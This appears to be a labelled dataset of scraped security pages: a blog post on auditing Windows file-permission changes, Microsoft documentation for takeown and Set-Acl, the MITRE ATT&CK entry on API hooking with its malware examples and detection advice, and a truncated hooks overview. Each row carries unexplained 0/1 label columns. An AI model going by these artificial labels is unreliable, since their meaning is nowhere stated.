Infographics \xc2 Whitepapers \xc2 Case Studies \xc2 Webcasts & Events View Recent Catches Support Strengthen your security defenses, respond effectively, control costs, and optimize your team's capabilities through SIEMphonic, a co-managed security solution. \xc2 Catch More Threats Support \xc2 Product Guides \xc2 Software Updates \xc2 Knowledge Packs \xc2 Online Help \xc2 Online Training \xc2 Customer Support Portal About ABOUT NETSURION LEADERSHIP NEWS CAREERS EVENTTRACKER AWARDS EVENTTRACKER TESTAMONIALS EVENTTRACKER PRESS RELEASES Partners PARTNER PROGRAM BECOME A PARTNER PARTNER PORTAL Contact Us Schedule Demo Close Articles Monitoring File Permission Changes with the Windows Security Log \xc2 February 19, 2014 \xc2 Security Unstructured data access governance is a big compliance concern.\xc2 Unstructured data is difficult to secure because there\xe2\x80\x99s so much of it, it\xe2\x80\x99s growing so fast and it is user created so it doesn\xe2\x80\x99t automatically get categorized and controlled like structured data in databases.\xc2 Moreover unstructured data is usually a treasure trove of sensitive and confidential information in a format that bad guys can consume and understand without reverse engineering the relationship of tables in a relational database. Most of this unstructured data is still found on file shares throughout the network, and file system permissions are the main control over this information.\xc2 Therefore knowing when permissions change unstructured is critical to governance and control. File permissions should normally be fairly static but end-users are (by default) the owner of files and subfolders they create and can therefore change permissions on those files. And of course, administrators can change permissions on any object.\xc2 Either way you need to know when this happens. Here\xe2\x80\x99s how to do it with the Windows Security Log. First we need to enable the File System audit subcategory.\xc2 You\xe2\x80\x99ll find this in any group policy object under Computer Configuration\\Windows Settings\\Security Settings\\Advanced Audit Policy Configuration\\System Audit Policies\\Object Access.\xc2 Enable File System for success.\xc2 (By the way, make sure you also enable Computer Configuration\\Windows Settings\\Security Settings\\Local Policies\\Security Options\\Audit: Force audit policy subcategory settings to override audit policy category settings to make sure your audit policy takes effect.) Now you need to enable object level auditing on the root folders containing your unstructured data.\xc2 For example, if you have a shared folder called c:\\files, go to that folder in Windows Explorer, open the security tab of the folders properties, click Advanced and select the Auditing tab.\xc2 Now add an entry for Everyone that enables successful use of the Change permissions as shown below. At this point Windows will begin generating two events each time you change permissions on this folder or any of its subfolders or files.\xc2 One event is the standard event ID 4663, \xe2\x80\x9cAn attempt was made to access an object\xe2\x80\x9d, which is logged for any kind of audited file access like read, write, delete, etc.\xc2 That event will show WRITE_DAC under the Access Request Information but it doesn\xe2\x80\x99t tell you what the actual permission change was. \xc2 So instead, use event ID 4670, \xe2\x80\x9cPermissions on an object were changed\xe2\x80\x9d, which provides the before and after permissions of the object under Permissions Change as shown in the example below. \xe2\x80\x9cWhat does D:AI(A;ID;FA;;;AU)(A;ID;FA;;;WD)(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;0x1200a9;;;BU) mean?\xe2\x80\x9d This is the original access control list of asdf.txt but in the very cryptic Security Descriptor Definition Language (SDDL).\xc2 SDDL definitely isn\xe2\x80\x99t something you want to manually parse and translate on a regular basis, but you can when necessary. Look for the \xe2\x80\x9cD:\xe2\x80\x9d which is close to the beginning of the string or even the very beginning in this case.\xc2 \xe2\x80\x9cD:\xe2\x80\x9d means Discretionary Access Control List (DACL) which are the actual permissions on the object as opposed to other things that show up in a security descriptor \xe2\x80\x93 like owner, primary group and the audit policy (aka SACL).\xc2 Until you hit another letter-colon combination like \xe2\x80\x9cS:\xe2\x80\x9d you are looking at the object\xe2\x80\x99s permissions.\xc2 An ACL is made up of Access Control Entries which correspond to each item in the list you see in the Permissions tab of an object\xe2\x80\x99s properties dialog.\xc2 But in SDDL before listing the ACEs comprising the ACL you will see any flags that affect the entire ACL as a whole.\xc2 In the example above you see AI as the first element after D:.\xc2 AI stands for SDDL_AUTO_INHERITED which means permissions on parent objects are allowed to propagate down to this object. Now come the ACEs.\xc2 In SDDL, each ACE is surrounded by parenthesis and the fields within it delimited by semicolons.\xc2 The first ACE in the event above is (A;ID;FA;;;AU).\xc2 The first field tells you what type of ACE it is \xe2\x80\x93 either A for allow or D for deny.\xc2 The next field lists any ACE flags that specify whether this ACE is an inherited ACE prorogated down from a parent object and if and how this ACE should propagate down to child objects.\xc2 The only flag in this ACE is ID which means the ACE is in fact inherited.\xc2 The next field lists the permissions this ACE allows or denies.\xc2 In this example FA stands for all file access rights.\xc2 The next 2 fields, Object Type and Inherited Object Type,\xc2 are always blank on file system permissions (hence the 3 semicolons in a row); they are only used places like Active Directory where there are different types of objects (user, group, computer, etc) that you can define permissions for.\xc2 Finally, the last field is Trustee and identifies the user, group or special principal begin allowed or denied access.\xc2 Here you will either see the SID of the user or group if the ACE applies to a so-called \xe2\x80\x9cwell-known\xe2\x80\x9d SID you\xe2\x80\x99ll the corresponding acronym.\xc2 In this example AU stands for Authenticated Users. Event ID 4670 does a great job of alerting you when permissions change on an object and telling you which object was affected and who did it.\xc2 To go further and understand what permissions where actually changed you have to dive into SDDL.\xc2 I recommend Ned Pyle\xe2\x80\x99s 2-part TechNet blog, The Security Descriptor Definition Language of Love for more information on SDDL. Share: Recent Posts Best Practices to Halt Insider Threats Coordinated Ransomware Attacks Hit Resource-Constrained Municipalities Mitigate Software Supply Chain Attacks with SIEM and EDR 7 Things IT Pros Should Know about HIPAA and Protecting Patient Data IT Security: How Much Should You Spend? Blog posts RSS This site uses cookies to store information on your computer. Some are essential to make our site work; others help us improve the user experience. By using the site, you consent to the placement of these cookies. Read our Privacy Statement to learn more. I Accept See EventTracker in action! Join our next live demo October 1st at 2:00 p.m. EST. Register Here EventTracker.com About Netsurion Leadership Awards & Recognition Careers Articles Upcoming Events Press Releases Partner Portal Contact us Toll Free: 877.333.1433 Tel: +1 410.953.6776 Support Toll Free: 877.333.1433 Ext.2 Tel: +1 410.953.6776 Ext.2 EventTracker SOC/SIEMphonic Toll Free: 877.333.1433 Ext.3 Tel: +1 410.953.6776 Ext.3 Subscribe Now Stay informed with our monthly newsletter \xc2\xa9 Copyright EventTracker. All Rights Reserved. Privacy Terms of Use Sitemap Contact Us","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"takeown | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents takeown 10/16/2017 2 minutes to read In this article Enables an administrator to recover access to a file that previously was denied, by making the administrator the owner of the file. For examples of how to use this command, see Examples. Syntax takeown [/s [/u [\\] [/p []]]] /f [/a] [/r [/d {Y|N}]] Parameters Parameter Description /s Specifies the name or IP address of a remote computer (do not use backslashes). The default value is the local computer. This parameter applies to all of the files and folders specified in the command. /u [] Runs the script with the permissions of the specified user account. The default value is system permissions. /p [] Specifies the password of the user account that is specified in the /u parameter. /f Specifies the file name or directory name pattern. You can use the wildcard character * when specifying the pattern. You can also use the syntax ShareName*FileName*. /a Gives ownership to the Administrators group instead of the current user. /r Performs a recursive operation on all files in the specified directory and subdirectories. /d {Y | N} Suppresses the confirmation prompt that is displayed when the current user does not have the ""List Folder"" permission on a specified directory, and instead uses the specified default value. Valid values for the /d option are as follows: - Y: Take ownership of the directory.- N: Skip the directory. Note that you must use this option in conjunction with the /r option. /? Displays help at the command prompt. Remarks This command is typically used in batch files. If the /a parameter is not specified, file ownership is given to the user who is currently logged on to the computer. Mixed patterns using (? and *) are not supported by takeown command. After deleting the lock with takeown, you might have to use Windows Explorer or the cacls command to give yourself full permissions to the files and directories before you can delete them. For more information about cacls, see ""Additional references"" at the end of this topic. Examples To take ownership of a file named Lostfile, type: takeown /f lostfile Additional references Command-Line Syntax Key Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Set-Acl Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Set-Acl Module: Microsoft.PowerShell.Security Changes the security descriptor of a specified item, such as a file or a registry key. In this article Syntax Set-Acl [-Path] [-AclObject] [-ClearCentralAccessPolicy] [-Passthru] [-Filter ] [-Include ] [-Exclude ] [-WhatIf] [-Confirm] [] Set-Acl [-InputObject] [-AclObject] [-Passthru] [-Filter ] [-Include ] [-Exclude ] [-WhatIf] [-Confirm] [] Set-Acl -LiteralPath [-AclObject] [-ClearCentralAccessPolicy] [-Passthru] [-Filter ] [-Include ] [-Exclude ] [-WhatIf] [-Confirm] [] Description The Set-Acl cmdlet changes the security descriptor of a specified item, such as a file or a registry key, to match the values in a security descriptor that you supply. To use Set-Acl, use the Path or InputObject parameter to identify the item whose security descriptor you want to change. Then, use the AclObject or SecurityDescriptor parameters to supply a security descriptor that has the values you want to apply. Set-Acl applies the security descriptor that is supplied. It uses the value of the AclObject parameter as a model and changes the values in the item's security descriptor to match the values in the AclObject parameter. Examples Example 1: Copy a security descriptor from one file to another $DogACL = Get-Acl -Path ""C:\\Dog.txt"" Set-Acl -Path ""C:\\Cat.txt"" -AclObject $DogACL These commands copy the values from the security descriptor of the Dog.txt file to the security descriptor of the Cat.txt file. When the commands complete, the security descriptors of the Dog.txt and Cat.txt files are identical. The first command uses the Get-Acl cmdlet to get the security descriptor of the Dog.txt file. The assignment operator (=) stores the security descriptor in the value of the $DogACL variable. The second command uses Set-Acl to change the values in the ACL of Cat.txt to the values in $DogACL. The value of the Path parameter is the path to the Cat.txt file. The value of the AclObject parameter is the model ACL, in this case, the ACL of Dog.txt as saved in the $DogACL variable. Example 2: Use the pipeline operator to pass a descriptor Get-Acl -Path ""C:\\Dog.txt"" | Set-Acl -Path ""C:\\Cat.txt"" This command is almost the same as the command in the previous example, except that it uses a pipeline operator to send the security descriptor from a Get-Aclcommand to a Set-Acl command. The first command uses the Get-Acl cmdlet to get the security descriptor of the Dog.txt file. The pipeline operator (|) passes an object that represents the Dog.txt security descriptor to the Set-Acl cmdlet. The second command uses Set-Acl to apply the security descriptor of Dog.txt to Cat.txt. When the command completes, the ACLs of the Dog.txt and Cat.txt files are identical. Example 3: Apply a security descriptor to multiple files $NewAcl = Get-Acl File0.txt Get-ChildItem -Path ""C:\\temp"" -Recurse -Include ""*.txt"" -Force | Set-Acl -AclObject $NewAcl These commands apply the security descriptors in the File0.txt file to all text files in the C:\\Temp directory and all of its subdirectories. The first command gets the security descriptor of the File0.txt file in the current directory and uses the assignment operator (=) to store it in the $NewACL variable. The first command in the pipeline uses the Get-ChildItem cmdlet to get all of the text files in the C:\\Temp directory. The Recurse parameter extends the command to all subdirectories of C:\\temp. The Include parameter limits the files retrieved to those with the "".txt"" file name extension. The Force parameter gets hidden files, which would otherwise be excluded. (You cannot use ""c:\\temp*.txt"", because the Recurse parameter works on directories, not on files.) The pipeline operator (|) sends the objects representing the retrieved files to the Set-Acl cmdlet, which applies the security descriptor in the AclObject parameter to all of the files in the pipeline. In practice, it is best to use the WhatIf parameter with all Set-Acl commands that can affect more than one item. In this case, the second command in the pipeline would be ""Set-Acl -AclObject $NewAcl -WhatIf"". This command lists the files that would be affected by the command. After reviewing the result, you can run the command again without the WhatIf parameter. Parameters -AclObject Specifies an ACL with the desired property values. Set-Acl changes the ACL of item specified by the Path or InputObject parameter to match the values in the specified security object. You can save the output of a Get-Acl command in a variable and then use the AclObject parameter to pass the variable, or type a Get-Acl command. Type: Object Position: 1 Default value: None Accept pipeline input: True (ByValue) Accept wildcard characters: False -ClearCentralAccessPolicy Removes the central access policy from the specified item. Beginning in Windows Server 2012, administrators can use Active Directory and Group Policy to set central access policies for users and groups. For more information, see Dynamic Access Control: Scenario Overview. This parameter was introduced in Windows PowerShell 3.0. Type: SwitchParameter Position: Named Default value: False Accept pipeline input: False Accept wildcard characters: False -Confirm Prompts you for confirmation before running the cmdlet. Type: SwitchParameter Aliases: cf Position: Named Default value: False Accept pipeline input: False Accept wildcard characters: False -Exclude Omits the specified items. The value of this parameter qualifies the Path parameter. Enter a path element or pattern, such as ""*.txt"". Wildcards are permitted. Type: String[] Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: True -Filter Specifies a filter in the provider's format or language. The value of this parameter qualifies the Path parameter. The syntax of the filter, including the use of wildcards, depends on the provider. Filters are more efficient than other parameters, because the provider applies them when retrieving the objects, rather than having PowerShell filter the objects after they are retrieved. Type: String Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: True -Include Changes only the specified items. The value of this parameter qualifies the Path parameter. Enter a path element or pattern, such as ""*.txt"". Wildcards are permitted. Type: String[] Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: True -InputObject Changes the security descriptor of the specified object. Enter a variable that contains the object or a command that gets the object. You cannot pipe the object to be changed to Set-Acl. Instead, use the InputObject parameter explicitly in the command. This parameter was introduced in Windows PowerShell 3.0. Type: PSObject Position: 0 Default value: None Accept pipeline input: True (ByPropertyName) Accept wildcard characters: False -LiteralPath Changes the security descriptor of the specified item. Unlike Path, the value of the LiteralPath parameter is used exactly as it is typed. No characters are interpreted as wildcards. If the path includes escape characters, enclose it in single quotation marks. Single quotation marks tell PowerShell not to interpret any characters as escape sequences. This parameter was introduced in Windows PowerShell 3.0. Type: String[] Aliases: PSPath Position: Named Default value: None Accept pipeline input: True (ByPropertyName) Accept wildcard characters: False -Passthru Returns an object that represents the security descriptor that was changed. By default, this cmdlet does not generate any output. Type: SwitchParameter Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False -Path Changes the security descriptor of the specified item. Enter the path to an item, such as a path to a file or registry key. Wildcards are permitted. If you pass a security object to Set-Acl (either by using the AclObject or SecurityDescriptor parameters or by passing a security object from Get-Acl to Set-Acl), and you omit the Path parameter (name and value), Set-Acl uses the path that is included in the security object. Type: String[] Position: 0 Default value: None Accept pipeline input: True (ByPropertyName) Accept wildcard characters: True -WhatIf Shows what would happen if the cmdlet runs. The cmdlet is not run. Type: SwitchParameter Aliases: wi Position: Named Default value: False Accept pipeline input: False Accept wildcard characters: False Inputs System.Security.AccessControl.ObjectSecurity, System.Security.AccessControl.CommonSecurityDescriptor You can pipe an ACL object or a security descriptor to Set-Acl. Outputs System.Security.AccessControl.FileSecurity By default, Set-Acl does not generate any output. However, if you use the Passthru parameter, it generates a security object. The type of the security object depends on the type of the item. Notes The Set-Acl cmdlet is supported by the PowerShell file system and registry providers. As such, you can use it to change the security descriptors of files, directories, and registry keys. Related Links Get-Acl Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Hooking - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Hooking Hooking Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via: Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. [1] [2] Import address table (IAT) hooking, which use modifications to a process\xe2\x80\x99s IAT, where pointers to imported API functions are stored. [2] [3] [4] Inline hooking, which overwrites the first bytes in an API function to redirect code flow. [2] [5] [4] Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. [6] Hooking is commonly utilized by Rootkits to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. [7] ID:\xc2 T1179 Tactic: Persistence, Privilege Escalation, Credential Access Platform:\xc2 Windows Permissions Required:\xc2 Administrator, SYSTEM Data Sources:\xc2 API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description Empire Empire contains some modules that leverage API hooking to carry out tasks, such as netripper. [8] FinFisher FinFisher hooks processes by modifying IAT pointers to CreateWindowEx. [9] [2] NOKKI NOKKI uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine. [10] PLATINUM PLATINUM is capable of using Windows hook interfaces for information gathering such as credential access. [15] TrickBot TrickBot has the ability to capture RDP credentials by capturing the CredEnumerateA API [13] Ursnif Ursnif has hooked APIs to perform a wide variety of information theft, such as monitoring traffic from browsers. [14] Zebrocy Zebrocy installs an application-defined Windows hook to get notified when a network drive has been attached, so it can then use the hook to call its RecordToFile file stealing method. [11] Zeus Panda Zeus Panda hooks processes by leveraging its own IAT hooked functions. [12] Detection Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. [1] [16] Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools [16] [17] [18] or by programmatically examining internal kernel structures. [19] [20] Rootkits detectors [21] can also be used to monitor for various flavors of hooking activity. Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes [22] to compare the in-memory IAT to the real addresses of the referenced functions. [23] [3] Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. References Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017. Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017. Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017. Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017. Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017. Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017. Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. FinFisher. (n.d.). Retrieved December 20, 2017. Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018. Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018. Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019. Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019. Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018. Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017. Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017. Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017. GMER. (n.d.). GMER. Retrieved December 12, 2017. Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017. Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","1","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Hooks Overview - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Hooks Overview 05/31/2018 9 minutes to read In this article A hook is a mechanism by which an application can intercept events, such as messages, mouse actions, and keystrokes. A function that intercepts a particular type of event is known as a hook procedure. A hook procedure can act on each event it receives, and then modify or discard the event. The following some example uses for hooks: Monitor messages for debugging purposes Provide support for recording and playback of macros Provide support for a help key (F1) Simulate mouse and keyboard input Implement a computer-based training (CBT) application Note Hooks tend to slow down the system 